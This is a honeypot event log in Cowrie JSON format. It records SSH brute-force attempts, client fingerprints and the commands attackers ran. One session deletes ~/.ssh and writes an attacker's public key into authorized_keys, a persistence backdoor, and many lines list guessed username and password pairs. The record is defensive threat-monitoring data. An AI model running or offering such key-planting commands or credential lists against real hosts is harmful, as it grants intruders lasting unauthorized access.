{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:24.049032Z","src_ip":"103.218.242.31","session":"3f0364ecc236","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Rr@123456","message":"login attempt [root/Rr@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:24.963653Z","src_ip":"103.218.242.31","session":"3f0364ecc236","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:25.444711Z","src_ip":"103.218.242.31","session":"3f0364ecc236","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:25.447906Z","src_ip":"103.218.242.31","session":"3f0364ecc236","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:25.451652Z","src_ip":"103.218.242.31","session":"3f0364ecc236","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:25.675186Z","src_ip":"103.218.242.31","session":"3f0364ecc236","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:26.154182Z","src_ip":"103.218.242.31","session":"3f0364ecc236","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:26.157624Z","src_ip":"103.218.242.31","session":"3f0364ecc236","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:26.383349Z","src_ip":"103.218.242.31","session":"3f0364ecc236","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:26.386682Z","src_ip":"103.218.242.31","session":"3f0364ecc236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.218.242.31","src_port":37080,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fbb9a4e3d41","protocol":"ssh","message":"New connection: 103.218.242.31:37080 (10.17.0.5:22) [session: 4fbb9a4e3d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:26.587022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:26.590738Z","src_ip":"103.218.242.31","session":"4fbb9a4e3d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:26.804574Z","src_ip":"103.218.242.31","session":"4fbb9a4e3d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:27.692532Z","src_ip":"103.218.242.31","session":"4fbb9a4e3d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:28.909019Z","src_ip":"103.218.242.31","session":"4fbb9a4e3d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.218.242.31","src_port":60702,"dst_ip":"10.17.0.5","dst_port":22,"session":"c16fe7549f50","protocol":"ssh","message":"New connection: 103.218.242.31:60702 (10.17.0.5:22) [session: c16fe7549f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:29.122570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:29.127777Z","src_ip":"103.218.242.31","session":"c16fe7549f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.2488009929657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:29.183548Z","src_ip":"112.124.96.19","session":"0e3ed1e89082","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:29.343063Z","src_ip":"103.218.242.31","session":"c16fe7549f50","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:30.236556Z","src_ip":"103.218.242.31","session":"c16fe7549f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:30.455493Z","src_ip":"103.218.242.31","session":"c16fe7549f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:30.460428Z","src_ip":"103.218.242.31","session":"3f0364ecc236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":34901,"dst_ip":"10.17.0.5","dst_port":22,"session":"171b61e13cc5","protocol":"ssh","message":"New connection: 2.57.121.112:34901 (10.17.0.5:22) [session: 171b61e13cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:34.395166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:34.399096Z","src_ip":"2.57.121.112","session":"171b61e13cc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:34.498816Z","src_ip":"2.57.121.112","session":"171b61e13cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"9990","message":"login attempt [admin/9990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:34.970057Z","src_ip":"2.57.121.112","session":"171b61e13cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"989244342a","message":"login attempt [admin/989244342a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:36.071941Z","src_ip":"2.57.121.112","session":"171b61e13cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"9797","message":"login attempt [admin/9797] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:37.175375Z","src_ip":"2.57.121.112","session":"171b61e13cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"88keys","message":"login attempt [admin/88keys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:38.277485Z","src_ip":"2.57.121.112","session":"171b61e13cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"863abgsg","message":"login attempt [admin/863abgsg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:39.379189Z","src_ip":"2.57.121.112","session":"171b61e13cc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:40.481270Z","src_ip":"2.57.121.112","session":"171b61e13cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":57844,"dst_ip":"159.203.135.109","dst_port":22,"session":"db41d9a433a1","protocol":"ssh","message":"New connection: 3.130.168.2:57844 (159.203.135.109:22) [session: db41d9a433a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:45.831386Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u0007:G\u001f\u001c\\xbd<\u0014\\xca5\\xc6\\xdc:j\\xc6)\\xad[\\xa9\\xfa\\x97\u001cM2\\x81\\xfdq\b0\\xc8k{\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u0007:G\u001f\u001c\\xbd<\u0014\\xca5\\xc6\\xdc:j\\xc6)\\xad[\\xa9\\xfa\\x97\u001cM2\\x81\\xfdq\b0\\xc8k{\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:45.836735Z","src_ip":"3.130.168.2","session":"db41d9a433a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:45.840803Z","src_ip":"3.130.168.2","session":"db41d9a433a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.71.136.125","src_port":33046,"dst_ip":"10.17.0.5","dst_port":22,"session":"acf7f09aed9d","protocol":"ssh","message":"New connection: 116.71.136.125:33046 (10.17.0.5:22) [session: acf7f09aed9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:26.344596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:26.348731Z","src_ip":"116.71.136.125","session":"acf7f09aed9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:26.571042Z","src_ip":"116.71.136.125","session":"acf7f09aed9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zz","password":"zz1234","message":"login attempt [zz/zz1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:27.490389Z","src_ip":"116.71.136.125","session":"acf7f09aed9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:28.715115Z","src_ip":"116.71.136.125","session":"acf7f09aed9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":57881,"dst_ip":"10.17.0.5","dst_port":22,"session":"587fb2f9dd79","protocol":"ssh","message":"New connection: 154.125.147.88:57881 (10.17.0.5:22) [session: 587fb2f9dd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:31.802337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:31.807453Z","src_ip":"154.125.147.88","session":"587fb2f9dd79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:32.048477Z","src_ip":"154.125.147.88","session":"587fb2f9dd79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"httpd","password":"httpd123!","message":"login attempt [httpd/httpd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:34.540257Z","src_ip":"154.125.147.88","session":"587fb2f9dd79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:35.794188Z","src_ip":"154.125.147.88","session":"587fb2f9dd79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.249.152","src_port":58260,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ad674220dc","protocol":"ssh","message":"New connection: 172.210.249.152:58260 (10.17.0.5:22) [session: e4ad674220dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:44.462529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:44.466506Z","src_ip":"172.210.249.152","session":"e4ad674220dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-